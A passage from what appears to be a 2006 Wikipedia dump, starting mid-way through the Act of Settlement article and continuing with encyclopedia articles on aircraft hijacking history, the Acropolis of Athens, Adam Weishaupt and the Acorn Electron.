From time to time there has been debate over removing the clause that keeps [[Roman Catholics]] or those who marry Catholics from ascending to the throne. Proponents argue that the clause is a [[bigoted]] [[anachronism]] and [[Cardinal Winning]], who was leader of the Roman Catholic Church in [[Scotland]], called the act an 'insult' to Catholics. [[Cormac Cardinal Murphy-O'Connor]], the leader of the Catholic Church in England, pointed out that [[Prince William]], &quot;can marry by law a Hindu, a Buddhist, anyone, but not a Roman Catholic.&quot;[http://news.bbc.co.uk/1/hi/uk/2021615.stm] Opponents feel that repeal could lead to a Catholic assuming the throne, and could lead to the disestablishment of the [[Church of England]] as the state religion.  They also point to the fact that the monarch must swear to defend the faith and be a member of the [[Anglican Communion]] and that a Catholic monarch would, like all Catholics, owe allegiance to the Pope which would, according to opponents of repeal such as [[Enoch Powell]] and [[Adrian Hilton]], amount to a loss of [[sovereignty]].

In Canada, where the Act of Settlement is now a part of Canadian constitutional law, [[Tony O'Donohue]], a Canadian civic politician, observed that the ''Act of Settlement 1701'' explicitly excludes [[Roman Catholic]]s from the throne and the Queen is [[Supreme Governor of the Church of England]], requiring her to be an [[Church of England|Anglican]].  This, he claimed, discriminates against non-Anglicans, including Catholics who are the largest faith group in Canada. In [[2002]], O'Donohue launched an ultimately unsuccessful court action that argued the ''Act of Settlement'' violates the [[Canadian Charter of Rights and Freedoms]]. His case was dismissed by the court, which found that as the ''Act of Settlement'' is part of the [[Constitution of Canada|Canadian constitution]], the Charter of Rights does not have supremacy over it.  Also, the court pointed out that while Canada has the power to amend the line of succession to the Canadian Throne, the ''[[Statute of Westminster 1931|Statute of Westminster]]'' stipulates that the agreement of the governments of the fifteen other realms that share the Crown would first have to be sought if Canada wished to continue its relationship with the other [[Commonwealth Realm]]s. An appeal of the decision was dismissed [[16 March]], [[2005]]. (See [[O'Donohue v. Her Majesty the Queen, 2003]])

As alluded to above, there are also significant difficulties presented by the fact that the Act of Settlement regulates the succession of all the [[Commonwealth Realm]]s of which the [[Queen regnant|Queen]] is [[Monarch|Sovereign]], either directly or as a now separate, patriated law, and a change in the [[United Kingdom]] would not automatically apply elsewhere - where the Act would be unchanged. This could easily result in the succession being different in certain countries, and a division of the Crown could result. In the 2005 British [[general election]] campaign [[Michael Howard]] promised to work towards having that prohibition removed if the Conservative party gained a majority of seats in the House of Commons. In the event, the election was won by [[Tony Blair]]'s Labour party, who have made no moves to change this law.

==See also==
*[[List of British monarchs]]
*[[Line of succession to the British Throne]]
*[[Succession to the British Throne]]
*[[Monarchy in Canada]]

==External links==
* [http://www.royal.gov.uk/output/Page389.asp Royal Family web page on succession]
* [http://www.guardian.co.uk/monarchy/story/0,2763,407239,00.html Text of Act of Settlement 1701 - Guardian]
* [http://www.legislation.act.gov.au/a/db_1788/default.asp Text of Act of Settlement 1700 - Australian Capital Territory Government] Gives full preamble and long title.

[[Category:British laws]]
[[Category:Acts of the Parliament of England]]
[[Category:History of Catholicism in England]]
[[Category:1701 in law]]
[[Category:United Kingdom constitution]]
[[Category:Constitution of Canada]]

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    <title>Aircraft hijacking</title>
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      <comment>/* Partial list of hijackings */ linked Landshut</comment>
      <text xml:space="preserve">{{Terrorism}}
'''Aircraft hijacking''' (also known as '''Skyjacking''') is the take-over of an [[aircraft]], by a person or group, usually armed. Unlike the [[hijacking]] of land vehicles, it is usually not perpetrated in order to rob the cargo. Rather, most aircraft hijackings are committed to use the passengers as [[hostage]]s in an effort to obtain transportation to a given location, to hold them for ransom, or, as in the case of the [[United States|American]] planes that were hijacked to [[Cuba]] during the [[1970s]], the release of comrades being held in prison. Another common motive is [[publicity]] for some cause or grievance. In the [[September 11, 2001 attacks]], the use of hijacked planes as suicide missiles changed the way hijacking was perceived as a security threat &amp;mdash; though similar usages had apparently been attempted by [[Samuel Byck]] in [[1974]] and on [[Air France Flight 8969]] in [[1994]]. 

One task of [[airport security]] is to prevent hijacks by screening passengers and keeping anything that could be used as a  [[weapon]] (even smaller objects like nail clippers and boxcutters, for example) off aircraft.

==Background==
Hijackings for hostages have usually followed a pattern of negotiations between the hijackers and the authorities, followed by some form of settlement -- not always the meeting of the hijackers' original demands -- or the storming of the aircraft by armed police or special forces to rescue the hostages.  Previous to September, 2001, the policy of most airlines was for the pilot to comply with hijackers' demands in the hope of a peaceful outcome.  Since then, policies have reversed course, in favor of arming and armoring the cockpit.

The first recorded aircraft hijack was on [[February 21]], [[1931]], in Arequipa, [[Peru]]. [[Byron Rickards]] flying a Ford Tri-motor was approached on the ground by armed revolutionaries. He refused to fly them anywhere and after a ten day stand-off Rickards was informed that the revolution was successful and he could go in return for giving one of their number a lift to Lima. Most hijackings have not been so farcical. The first hijack of a commercial airliner probably happened on [[June 16]], [[1948]], when a failed attempt to gain control of the [[Miss Macao]], a [[Cathay Pacific]] seaplane caused it to crash into the sea off [[Macau]]. On June 30 1948, a [[Bulgarian]] commercial [[Junkers]] plane was successfully hijacked to [[Istanbul]] by a discharged diplomat and his family, who had to shoot dead the co-pilot (who happened to be the head of Bulgaria's civil aviation) and the radio operator in order to escape to the Free World.  
On [[September 12]] [[1948]] a [[Greece|Greek]] [[Olympic Airways|T.A.E Airlines]] plane was successfully hijacked by 6 pro-communist students who wanted passage to [[Yugoslavia]]. The plane landed near [[Skopje]] and returned to [[Thessaloniki]] later that evening.

Since 1947, 60% of hijackings have been refugee escapes. In 1968-69 there was a massive rise in the number of hijackings. In 1968 there were 27 hijackings and attempted hijackings to Cuba. In 1969 there were 82 recorded hijack attempts worldwide, more than twice the total attempts for the whole period 1947-67. Most were [[Palestinian]]s using hijacks as a political weapon to publicise their cause and to force the Israeli government to release Palestinian prisoners from jail.

Airliner hijackings have declined since the peak of 385 incidents between 1967-76. In 1977-86 the total had dropped to 300 incidents and in 1987-96 this figure was reduced to 212.

== Partial list of hijackings ==
*[[1958]]: First Cuba-to-U.S. hijacking
*[[1960]]: The first US-to-Cuba hijacking 
*[[1968]]: The first Arab-Israeli hijacking, as three members of [[Popular Front for the Liberation of Palestine]] (PFLP) hijack an [[El Al]] plane to [[Rome]]. Diverting to Algiers the negotiations extend over forty days. Both the hijackers and the hostages go free. This was the first and the only successful hijacking of an El Al flight.
*[[1970]] [[May 15]]: [[Dymshits-Kuznetsov hijacking affair]], a group of Soviet [[refusenik]]s attempt to hijack aircraft
*[[1970]], September: As part of the [[Dawson's Field hijackings]], PFLP members attempt to hijack four aircraft simultaneously. They succeed on three and force the planes to fly to the [[Jordan]]ian desert, where the hijackers blow up the aircraft after releasing most of the hostages. The final hostages are freed in exchange for seven Palestinian prisoners.  The fourth attack on an [[El Al]] plane by two people including [[Leila Khalid]] is foiled by armed guards aboard.
*[[1971]]: [[D. B. Cooper]] hijacks [[Northwest Orient Airlines]] flight 305 and obtains $200,000 ransom for the release of the plane's passengers.  Cooper proceeds to [[parachute]] from the rear of the [[Boeing 727]] and is never found.
*[[1974]] [[February 22]]: [[Samuel Byck]] shot and killed Maryland Aviation Administration Police Officer Neal Ramsburg at BWI before storming aboard [[Delta Air Lines]] flight 523 to Atlanta. He gained access to the cockpit while the plane was on the ground, intending to assassinate [[President Nixon]] by flying the [[DC-9]] into the [[White House]]. He shot both the pilot and the copilot before he was shot through the aircraft window by another officer.  
*[[1976]]: The Palestinian hijack of [[Air France]] [[Air France Flight 193|Flight 193]] airliner is brought to an end at [[Entebbe]] [[Airport]], [[Uganda]] by [[Operation Entebbe]]: Israeli commandos assault the building holding the hijackers and hostages; they kill all the Palestinian hijackers and free 105 mostly Israeli hostages; three passengers and one commando are killed.
*[[1977]]: A Palestinian hijack of a [[Lufthansa]] airliner ''[[Landshut (hijacking)|Landshut]]'' during its flight from [[Palma de Mallorca]] to [[Frankfurt]] is ended in [[Mogadishu, Somalia|Mogadishu]] when [[Germany|German]] commandos storm the plane. Three hijackers are killed and 86 hostages are freed. The hand of German [[Red Army Faction]] is suspected. The pilot is killed.
*[[1978]]: Two Arab guerrillas seized a plane in [[Cyprus]]. Egyptian commandos flew in uninvited to try to take the plane. Cypriot troops resisted and 15 Egyptians died in a 45-minute battle.
*[[1979]]: Two East Germans hijacked an airplane to [[West Berlin]]; see [[Judgment in Berlin]].
*[[1981]]: A [[Pakistan International Airlines]] jet is hijacked and taken to [[Kabul]], where one passenger is killed before the plane flies on to [[Damascus]]; the hostages are finally released after 13 days when the Pakistani Government agrees to free fifty political prisoners.
*[[1981]] [[September 29]]: An [[Indian Airlines]] plane carrying 111 passengers and a crew of six was hijacked by five Sikh militants carrying knives and swords. The airplane was taken to Lahore, Pakistan where Pakistani commandos overpowered the hijackers and rescued the passengers. It was related to the secessionist struggle in the Indian state of Punjab.
*[[1982]] [[July 1]]: A Sri Lankan man, identified as Sepala Ekanayaka, who is 33 years old, hijacked an Alitalia jumbo jet. Ordeal ended after 32 hours, in which he had threatened to blow up the jetliner. With hands in the air, the hijacker and more than 100 hostages walked off the plane without an incident.
*[[1982]] [[August 22]]: A lone Sikh militant, armed with a pistol and a hand grenade, hijacked a Boeing 737 on a scheduled flight from Bombay to New Delhi carrying 69 persons. Indian security forces killed the hijacker and rescued all passengers. 
*[[1983]]: [[Tbilisi hijacking incident]]
*[[1984]] [[August 24]]: Seven young Sikh hijackers demanded an Indian Airlines jetliner on a domestic flight be flown to the United States. The plane was taken to UAE where the defense minister of UAE negotiated the release of the passengers. It was related to the Sikh secessionist struggle in the Indian state of Punjab.  
*[[1984]]: Lebanese Shi'a hijackers divert a [[Kuwait Airways]] flight to [[Tehran]]. The plane is taken by Iranian security forces.
*[[1985]]: Lebanese Shi'a hijackers divert [[TWA Flight 847]] from [[Athens]] to [[Beirut]] with 153 people on board. The stand-off ends after [[Israel]] frees 31 Lebanese prisoners.
*[[1985]]: Palestinians take over [[EgyptAir Flight 648]] and fly it to [[Malta]]. All together, 60 people died, most of them when Egyptian commandos stormed the aircraft.
*[[1986]]: 22 people are killed when Pakistani security forces storm [[Pan Am Flight 73]] at [[Karachi]], carrying 400 passengers and crew after a 16-hour siege.
*[[1990]]: Hijackers seized a plane from the [[People's Republic of China]] which later crashed as it tried to land in [[Guangzhou|Canton]], killing 128 people. 
*[[1991]]: 26 March 1991, [[Singapore Airlines Flight 117]] hijacked by hijackers claiming to be members of the [[Pakistan People's Party]]. Elite [[Singapore Special Operations Force]] members stormed the plane, killing all four hijackers and freeing all 118 passengers and 9 crew in an operation lasting just 30 seconds. None of the passengers and crew were hurt.
*[[1994]]: [[FedEx Corporation|FedEx]] [[FedEx Flight 705|Flight 705]] hijacked by disgruntled employee [[Auburn Calloway]] as it left [[Memphis, Tennessee]], with the intention of using it as a cruise missile against FedEx HQ.  He was subdued by the flight crew before an emergency landing back at Memphis.
*[[1994]]: Frank Eugene 38, a drunk pilot crashed a [[Cessna]] into the [[White House]].
*[[1995]]: Iranian defector and flight attendant [[Rida Garari]] hijacked [[Kish Air]] flight 707, which landed in Israel. No casualties.
*[[1996]]: [[Ethiopian Airlines]] [[Ethiopian Airlines Flight 961|Flight 961]] crashed into the [[Indian Ocean]] near a beach in the [[Comoros Islands]] after hijackers refused to allow the pilot to land and refuel the plane. 125 passengers die and 50 survive.  This is only the third incident in which there were survivors of a passenger jet that intentionally ditched into water. 
*[[1997]]: [[Air Malta]] Two men who hijacked an Air Malta airplane en route from Malta to Turkey on June 9, 1997 surrendered to police at Cologne's airport early on the same day and freed without incident about 80 crew members and passengers on board.
*[[1999]]: [[All Nippon Airways Flight 61]] is hijacked by a lone man. He kills the pilot before he is subdued.
*[[1999]]-[[2000]]: [[Kashmir]]i militants hijack [[Indian Airlines Flight 814]] and divert it to [[Kandahar]]. After a week-long stand-off India agrees to release three jailed Kashmiri militants in exchange for the hostages. 1 hostage was stabbed to death and his body thrown on the tarmac as a &quot;warning attack&quot;
*[[2001]]: [[September 11, 2001 attacks|September 11 attacks]], eastern [[United States|USA]]: 19 terrorists hijack four planes ([[American Airlines]] [[American Airlines Flight 11|Flight 11]], [[American Airlines Flight 77]], [[United Airlines]] [[United Airlines Flight 93|Flight 93]], and [[United Airlines Flight 175]]; two of the planes, [[United Airlines Flight 175]] and [[American Airlines Flight 11|Flight 11]], are used as missiles and deliberately flown into each of New York City's Twin Towers, while [[American Airlines Flight 77]] is used in a similar fashion at the Pentagon, in [[Washington, D.C.]].  They are the three most deadly of all aircraft hijackings.  In the fourth case the intention is likely the same but the passengers, learning of the fate of the other three planes, attacked the cockpit, causing the hijackers to crash the plane in rural Pennsylvania, killing all on board. By official count, 2,752 people died at the World Trade Center, 189 died in Washington, D.C., and 44 died in Pennsylvania.

==Prevention==

There has been talk of fortifying [[cockpit]] doors to prevent would-be hijackers from entering and gaining control of the aircraft. In the [[United States]] and [[Australia]], [[air Marshal (civil aviation)|air marshal]]s have also been added to some flights to deter and thwart hijackers. In addition, some have proposed remote control systems for aircraft whereby no one on board would have control over the plane's flight.

In the case of a serious risk that an aircraft will be used for flying into a target, it may have to be shot down, killing all passengers and crew, to prevent worse. 

United States commercial aircraft pilots now have an option of carrying a pistol on the flight deck, as a last resort to thwart hijack attempts. Opponents proposed that shooting down the aircraft and killing everyone onboard would be more reasonable than a pilot firing a pistol in an airliner at a flight deck intruder.  Explosive decompression in an aircraft, however, is a myth, and their objections are mostly hyperbole. [http://www.gadgetopia.com/post/2606]

Since &quot;Hi, Jack&quot; and &quot;hijack&quot; are [[homophones]] while aircraft are very vulnerable to any breaches to safety and security, this pronunciation is now widely regarded as a serious taboo in more airports. [[Los Angeles International Airport]] has reminded people not to say &quot;Hi, Jack&quot;, but &quot;Hello, Jack&quot; is no problem.

== International law issues ==
===Tokyo Convention ===
{{Sect-stub}}
===Hague Aircraft Hijacking Convention===
{{Sect-stub}}
===Montreal Convention===
{{Sect-stub}}

==See also==
* [[Airport security]]
* [[D. B. Cooper]]

[[Category:Terrorism]]
[[Category:Airliner hijackings| ]]
[[Category:Aviation risks]]

[[de:Flugzeugentführung]]
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    </revision>
  </page>
  <page>
    <title>Acropolis, Athens</title>
    <id>2076</id>
    <revision>
      <id>41777838</id>
      <timestamp>2006-03-01T18:01:12Z</timestamp>
      <contributor>
        <username>Djordjes</username>
        <id>88876</id>
      </contributor>
      <minor />
      <comment>[[sr:Акропољ (Атина)]]</comment>
      <text xml:space="preserve">[[Image:ac.acropolis3.JPG|thumb|right|200px|The Acropolis of Athens, seen from the hill of the [[Pnyx]] to the west.]]
The '''Acropolis of Athens''' is the best known [[acropolis]] (high city) in [[Greece]]. Although there are many other acropoleis in Greece, the significance of the Acropolis of Athens such that it is commonly known as '''The Acropolis''' without qualification. The Acropolis is a flat-topped rock which rises 150 metres (512 feet) above sea level in the city of [[Athens, Greece|Athens]], [[Greece]]. It was also known as '''Cecropia''' in honor of the legendary [[snake|serpent]]-man, Kekrops or [[Cecrops]], the first Athenian king.

'''Coordinates:''' {{coor dms|37|58|17|N|23|43|36|E|}}

==Geology of the rock==

[[Image:ac.acropolis4.JPG|thumb|right|200px|The Acropolis of Athens, seen from the north, with the restored [[Stoa of Attalus]] in the foreground]]

The Acropolis rises sharply from the plain of [[Attica]] with steep cliffs on three sides. It is accessible by foot only to the west, where it is linked by a low ridge to the hill of the [[Areopagus]]. It is formed by a layer of blue-grey [[limestone]], which is very hard but water-permeable.  This rests on a layer of [[schist]]-[[sandstone]] [[marl]], softer than the limestone but water-impermeable.  This arrangement leads to the ready formation of artesian springs, as well as sheltered caves at the hill's feet, which was also a factor that attracted human habitation on and around the rock from early on.

==Early human presence==

[[Image:ac.acropolis2.JPG|thumb|right|200px|The south wall of the Acropolis of Athens, seen from the [[Theatre of Dionysus]].]]

The earliest artefacts from the area point to the Middle [[Neolithic]] era, although there have been documented habitations in Attica from the Early Neolithic ([[6000 BCE]]).  Once into the [[Bronze Age]], there is little doubt that a [[Mycenaean]] [[megaron]] must have stood on top of the hill, housing the local potentate and his household, guards, the local cult facilities and a number of workshops and ordinary habitations.  The compound was surrounded by a thick [[Cyclopean]] circuit wall (between 4.50 and 6onsisting of two [[parapet]]s built with large stone blocks and cemented with an earth mortar called ''emplekton''.  The wall follows typical Mycenaean convention in that its gate was arranged obliquely, with a parapet and tower overhanging the incomers' right-hand side, thus facilitating defense.  There were two lesser approaches up the hill on its north side, consisting of steep, narrow flights of steps cut in the rock.  [[Homer]] must refer to this state of affairs when he mentions the &quot;strong-built House of [[Erechtheus]]&quot; ([[Odyssey]] 7.81).  It was during that time that an earthquake caused a fissure near the northeastern edge, one that ran all the way down to the marl layer and in which water duly collected.  An elaborate set of stairs was built and the well was used as a protected source of drinking water during some portion of the Mycenaean period, as it was invaluable in times of siege.

==The Dark Ages==

[[Image:ac.acropolis2.jpg|thumb|right|200px|The Acropolis of Athens, seen from the [[Temple of Olympian Zeus]] to the south-east.]]

It seems that the Acropolis might have been spared of the violent destruction of other Mycenaean palaces, as there are no signs of fire or other large-scale destruction in what few artefacts of that time survive.  This ties with the standard Athenian folklore that the area resisted the Dorians successfully.  Not much is known as to the precise state of building on the rock leading up to the archaic era, except that the Acropolis was taken over by [[Cylon (ancient Athenian)|Kylon]] in the Kylonian revolt, and twice by [[Pisistratus]]: all attempts directed at seizing political power by ''[[coup]]s d' etat''.  Nevertheless it seems that a nine-gate wall, the ''Enneapylon'', had been built around the biggest water spring, the &quot;[[Clepsydra]]&quot;, at the northwestern foot.  It was [[Pisistratus]] who initially established a precinct for [[Artemis]] ''Brauronia'', the cult of his hometown, [[Brauron]], on the southwestern side of the rock, next to the circuit wall.

==Archaic Acropolis==

[[Image:Acropolis of Athens 31344.JPG|thumb|right|200px|Stairs leading up to the Propylea.]]

It is known with some certainty that a sizeable temple sacred to Athena Polias (Protectress of the City) was erected by mid-[[6th century BC]]. This Doric limestone building, from which many relics survive, is referred to as the &quot;Bluebeard&quot; temple, named after the pedimental three-bodied man-serpent sculpture, whose beards were painted dark blue.  Whether this temple replaced an older one, or a mere sacred precinct or altar, is not known.  In the late [[6th century BC]] yet another temple was built, usually referred to as the ''Archaios Naos'' (Old Temple). It is thought that the so-called ''Doerpfeld'' foundations might have belonged to this temple, which may have been sacred not to Polias but to Athena ''Parthenos'' (Virgin), at least for as long as the Polias &quot;Bluebeard&quot; temple stood.  It is not known how long these temples coexisted.  To confuse matters further, by the time the &quot;Bluebeard&quot; Temple had been dismantled, a yet newer and grander marble building, the &quot;Older Parthenon&quot;, was started following the victory at [[Battle of Marathon|Marathon]] in 490 BCE. To accommodate it, the south part of the summit was cleared of older remnants, made level by adding some 8,000 two-ton blocks of [[Piraeus]] limestone, a foundation 11 meters deep at some points, and the rest filled with earth kept in place by the retaining wall.  The Mycenaean gate was demolished and replaced with the ''Old Propylon'', a monumental colonnaded structure whose purpose was strictly ceremonial, rather than defensive.  The Older Parthenon was caught unfinished by the invading Persians in [[480 BCE]], and was razed to the ground and burnt, along with the ''Archaios Neos'' and practically everything else on the rock.  Once the [[Persian Wars]] were over, the Athenians put the place in order, first ceremonially burying objects of worship and art that were rendered unsuitable for further use.  This &quot;[[Perserschutt|Persian debris]]&quot; is the richest archaeological treasure excavated on the Acropolis, as its burial had protected it from further destruction through the ages.

==The Periclean building program==

[[Image:Acropolis of Athens 01361.JPG|thumb|right|200px|The western side of the Parthenon.]]

Most of the major temples were rebuilt under the leadership of [[Pericles]] during the [[Golden Age]] of Athens (460–430 BC). [[Phidias]], a great Athenian sculptor, and [[Ictinus]] and [[Callicrates]], two famous architects, were responsible for the reconstruction. 

During the [[5th century BC]], the acropolis gained its final shape. After winning at [[Battle of the Eurymedon|Eurymedon]] in [[468 BC]], [[Cimon]] and [[Themistocles]] ordered the reconstruction of southern and northern walls, and [[Pericles]] entrusted the building of the [[Parthenon]] to Ictinus and [[Phidias]].  In [[437 BC]] [[Mnesicles]] started building the [[Propylaea]], monumental gates with columns of [[Penteli]] [[marble]], partly built upon the old propylaea of Pisistratus.  These colonnades were almost finished in the year [[432 BC]] and had two wings, the northern one serving as picture gallery.  At the same time, south of the propylaea, the building of the small Ionic temple of [[Athena Nike]] started.  After an interruption caused by the [[Peloponnesian War]], the temple was finished in the time of [[Nicias]]' peace, between [[421 BC]] and [[415 BC]].

At the same period they started the building of the [[Erechtheum]], a combination of sacred precincts including the temples of ''Athena Polias'', [[Poseidon]], Erechtheus, Cecrops, Erse, Pandrosos and Aglauros, with its so-called the ''Kore Porch'' (or ''[[Caryatid]]s' balcony''). Between the temple of Athena Nike and the Parthenon there was the [[temenos]] of [[Artemis]] Brauronia, the goddess represented as a bear and worshipped in the [[deme]] of Brauron.  The archaic ''[[xoanon]]'' of the [[goddess]] and a statue made by [[Praxiteles]] in the [[4th century BC]] were both in the sanctuary.  Behind the Propylaea, Phidias' gigantic bronze statue of ''[[Athena Promachos]]'' (&quot;she who fights in the front line&quot;), built between [[450 BC]] and [[448 BC]], dominated the ensemble.  The base was 1.50 meters high, while the total height of the statue was 9 meters.  The goddess held a lance whose gilt tip could be seen as a reflection by crews on ships rounding Cape [[Sounion]], and a giant shield on the left side, decorated by [[Mys]] with images of the fight between the [[Centaur]]s and the [[Lapiths]]. Other monuments that have left almost nothing visible to the present day are the [[Chalcotheke]], the [[Pandroseion]], [[Pandion's sanctuary]], Athena's altar, Zeus Polieus's sanctuary and, from Roman times on, the circular temple of [[Augustus]] and [[Rome]].

== Cultural significance ==

[[Image:Acropolis of Athens 01391.JPG|thumb|right|200px|The Erechtheum and Athena's olive tree.]]

Every four years the Athenians held a festival called the [[Panathenaea]] that rivalled the [[Olympic Games]] in popularity. During the festival, a procession moved through Athens up to the Acropolis and into the [[Parthenon]] (as depicted in the frieze on the inside of the Parthenon). There, a vast robe of woven wool (''[[peplos]]'') was ceremoniously placed on Phidias' massive ivory and gold statue of [[Athena]].

== Art and architecture ==
The entrance to the Acropolis was a monumental gateway called the [[Propylaea]]. At the near right of the Propylaea is the tiny [[Temple of Athena Nike]]. A bronze statue of Athena, sculpted by [[Phidias]], originally stood at its center. At the center of the acropolis is the [[Parthenon]] or Temple of Athena Parthenos (Athena the Virgin). To the left of the Propylaea is the [[Erechtheum]] with columns known as caryatids sculpted as figures of women . There is also the remains of an outdoor theater called [[Theatre of Dionysus]].

== External links ==

* [http://www.culture.gr/2/21/211/21101a/e211aa01.html The Acropolis of Athens] (Greek Government website)
* [http://ysma.culture.gr/english/index.html The Acropolis Restoration Project] (Greek Government website)
* [http://www.acropolisofathens.gr/ Acropolis of Athens — AcropolisofAthens.gr — one monument, one heritage]
* [http://culture.gr/6/68/682/ The Restitution of the Parthenon Marbles]
* [http://parthenon2004.com/ Parthenon 2004 — The Campaign to Return the Parthenon Marbles to Athens]
* [http://marblesreunited.com/ Marbles Reunited]
* [http://whc.unesco.org/en/list/404 UNESCO World Heritage Centre — Acropolis, Athens]
* [http://maps.google.com/maps?ll=37.971421,23.726166&amp;spn=0.009499,0.012700&amp;t=k&amp;hl=en Google Maps link]
* [http://www.athensguide.gr/pop/acropolis.html A Historical Account of the Acropolis]
* [http://www.greece-athens.com/place.php?id=1 The Acropolis of Athens] (Athens guide)
* [http://asclepieion.mpl.uoa.gr/Parko/slides/images/Acropolis%20and%20Asklepieion%20artist%20reconstruction%20.gif Reconstruction of the ancient Acropolis]
* [http://www.tolomeus.net/atene/acropoli.html Greece, Athens, Acropolis] Virtual Tour with map and compass effect by Tolomeus (english)

[[Category:Buildings and structures in Athens]]
[[Category:Ancient Greek geography]]
[[Category:World Heritage Sites in Greece]]
[[Category:Athens]]

[[de:Akropolis (Athen)]]
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    </revision>
  </page>
  <page>
    <title>Adam Weishaupt</title>
    <id>2077</id>
    <revision>
      <id>40314862</id>
      <timestamp>2006-02-19T19:34:06Z</timestamp>
      <contributor>
        <username>Schizombie</username>
        <id>670858</id>
      </contributor>
      <comment>+source for Jefferson quote</comment>
      <text xml:space="preserve">'''Adam Weishaupt''' ([[February 6]], [[1748]] - [[November 18]], [[1811]]) was a German who founded the Order of the [[Illuminati]].

He was born and raised in [[Ingolstadt]], where he attained the rank of Professor of Canon Law in [[1772]].  Though he was educated by [[Society of Jesus|Jesuits]] and was clearly influenced by the discretion, loyalty and the hierarchic obedience of the Society of Jesus and was for a time a member of their order, his appointment as Professor of Natural and Canon Law at the University of Ingoldstadt in [[1775]] offended them.  He broke with them and became increasingly [[liberalism|liberal]] in his religious and political views, favoring [[deism]] and a kind of [[millennial]] natural order that swept aside [[state]]s and [[organized religion]].

With the help of [[Adolf Freiherr Knigge]], on [[May 1]], [[1776]] Weishaupt formed the &quot;Order of Perfectibilists&quot;, which was later known as the [[Illuminati]]. Some claim that this founding date is the origin for the date of the [[Communist]] [[May Day]] observance. He adopted the name of &quot;Brother [[Spartacus]]&quot; within the order. Though the Order was not [[egalitarian]] or [[Democracy|democratic]], its mission was to establish a New World Order, which meant the abolition of all governments and religions. 

Weishaupt wrote: '''the ends justified the means'''. The actual character of the society was determined by its [[traditionalist]] enemies to be an elaborate network of [[spies]] and counter-spies. Each isolated [[covert cell|cell]] of initiates reported to a superior, whom they did not know, a party structure that was effectively adopted by some later groups, including more recently by the early [[Ba'ath]] party in [[Syria]] and [[Iraq]].

Weishaupt was initiated into [[Freemasonry]] Lodge &quot;Theodor zum guten Rath&quot;, at [[Munich]] in [[1777]] by Baron Adolph von Knigge. His project of &quot;illumination, enlightening the understanding by the sun of reason, which will dispel the clouds of superstition and of prejudice&quot; was an unwelcome reform. Soon however he had developed [[gnostic]] mysteries of his own, with the goal of &quot;perfecting human&quot; nature through re-education to achieve a communal state with nature, freed of government and organized religion. He began working towards incorporating his system of [[Illuminism]] into that of Masonry, with the aim of creating a New World Order.  

He wrote: ''&quot;I did not bring Deism into [[Bavaria]],&quot; he wrote, &quot;more than into [[Rome]]. I found it here, in great vigour, more abounding than in any of the neighboring [[Protestant State]]s. I am proud to be known to the world as the founder of the Illuminati.&quot;''

Weishaupt's [[radical]] [[rationalism]], sweeping away nations and religions, [[private property]] and [[marriage]], with the vocabulary used by the [[French Revolution]], was not likely to succeed. Writings that were intercepted in [[1784]] were interpreted as [[seditious]], and the Society was banned by [[Bavaria]]'s government in [[1784]], Weishaupt lost his position at the [[University of Ingolstadt]] and fled Bavaria. He received the assistance of [[Duke Ernst II]] of [[Saxe-Gotha-Altenburg]] (1745-1804), and lived in [[Gotha (town)|Gotha]] writing a series of works on Illuminism, including &lt;cite&gt;A Complete History of the Persecutions of the Illuminati in Bavaria&lt;/cite&gt; ([[1785]]), &lt;cite&gt;A Picture of Illuminism&lt;/cite&gt; ([[1786]]), &lt;cite&gt;An Apology for the Illuminati&lt;/cite&gt; ([[1786]]), and &lt;cite&gt;An Improved System of Illuminism&lt;/cite&gt; ([[1787]]). He died there in [[1811]], though his later career was so obscure that some sources place the year of his death at [[1830]].

A century after his death, [[Occult|occultist]] interest in Weishaupt and the Bavarian Illuminati picked up, through the writings of [[Aleister Crowley]]. Modern adepts trace the imagery of [[symbolism]] like the [[eye in the pyramid]], and embrace the secrecy of the Illuminati traditions...

==Quotes about Weishaupt==

:''A human devil.''

:--[[Augustin Barruél]]

:''An enthusiastic philanthropist.''

:--[[Thomas Jefferson]]&lt;ref&gt;[http://memory.loc.gov/cgi-bin/query/r?ammem/mtj:@field(DOCID+@lit(tj090050)) ''Thomas Jefferson to Reverend James Madison, January 31, 1800,'' The Thomas Jefferson Papers (American Memory from the Library of Congress)]&lt;/ref&gt;

==Weishaupt in Fiction==

Adam Weishaupt is referred to repeatedly in the ''[[Illuminatus Trilogy]]'', by [[Robert Shea]] and [[Robert Anton Wilson]], as the founder of the [[Bavarian Illuminati]], and as an imposter who killed [[George Washington]] and took his place as the first president of the [[United States]]. Washington's portrait on the [[U.S. one-dollar bill|one-dollar bill]] is said to actually be Weishaupt's.

Another fictionalized version, Adam Weisshaupt, appears in ''[[Cerebus]]'', as a combination of Weishaupt and [[George Washington]].  He appears primarily in the '''Cerebus''' and '''Church and State I''' volumes.  His motives are [[Republic]]an confederalizing of city-states in Estarcion (a pseudo-Europe) and the accumulation of capital unencumbered by government or church.

Weishaupt is also mentioned among the mish-mash of complicated conspiricies in the PC game ''[[Deus Ex]]''. During JC Denton's escape from Versalife labs in Hong Kong, he recovers a virus engineered with the molecular structure of 1748. This is revealed to be an Illuminati signature, honoring Weishaupt (it is his birthdate) while at the same time furthering the secret society's objectives.

==Notes==
&lt;references /&gt;

==External links==
{{Commons|Adam Weishaupt}}
*[http://www.thetruthseeker.co.uk/article.asp?ID=41 History and politics of Weishaupt's illuminati, without an occultist slant]
*[http://www.newadvent.org/cathen/07661b.htm ''Catholic Encyclopedia'':] &quot;Illuminati&quot;; a critical view
*[http://www.xnetbg.com/www/siteng/index.php?option=com_content&amp;task=view&amp;id=19&amp;Itemid=40''Conspiracy Web Portal'':] &quot;The history of Illuminati&quot;; 
*[http://freemasonry.bcy.ca/texts/illuminati.html A Bavarian Illuminati Primer:] with citations

[[Category:1748 births|Weishaupt, Adam]]
[[Category:1811 deaths|Weishaupt, Adam]]
[[Category:Jesuits|Weishaupt, Adam]]
[[Category:Freemasons|Weishaipt, Adam]]


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[[ru:Вейсгаупт, Адам]]</text>
    </revision>
  </page>
  <page>
    <title>Acorn Electron</title>
    <id>2078</id>
    <revision>
      <id>40637332</id>
      <timestamp>2006-02-21T23:59:40Z</timestamp>
      <contributor>
        <username>ThomasHarte</username>
        <id>184177</id>
      </contributor>
      <minor />
      <comment>/* History */ fixed some links, added one</comment>
      <text xml:space="preserve">[[Image:ElectronMagazineAd.jpg|right|thumb|An original press advertisement for the Acorn Electron]]

The '''Acorn Electron''' was a budget version of the [[BBC Micro]] educational/[[home computer]] made by [[Acorn Computers Ltd]]. It had 32 [[kilobyte]]s of [[Random Access Memory|RAM]], and its ROM memory included [[BBC BASIC]] along with its operating system.

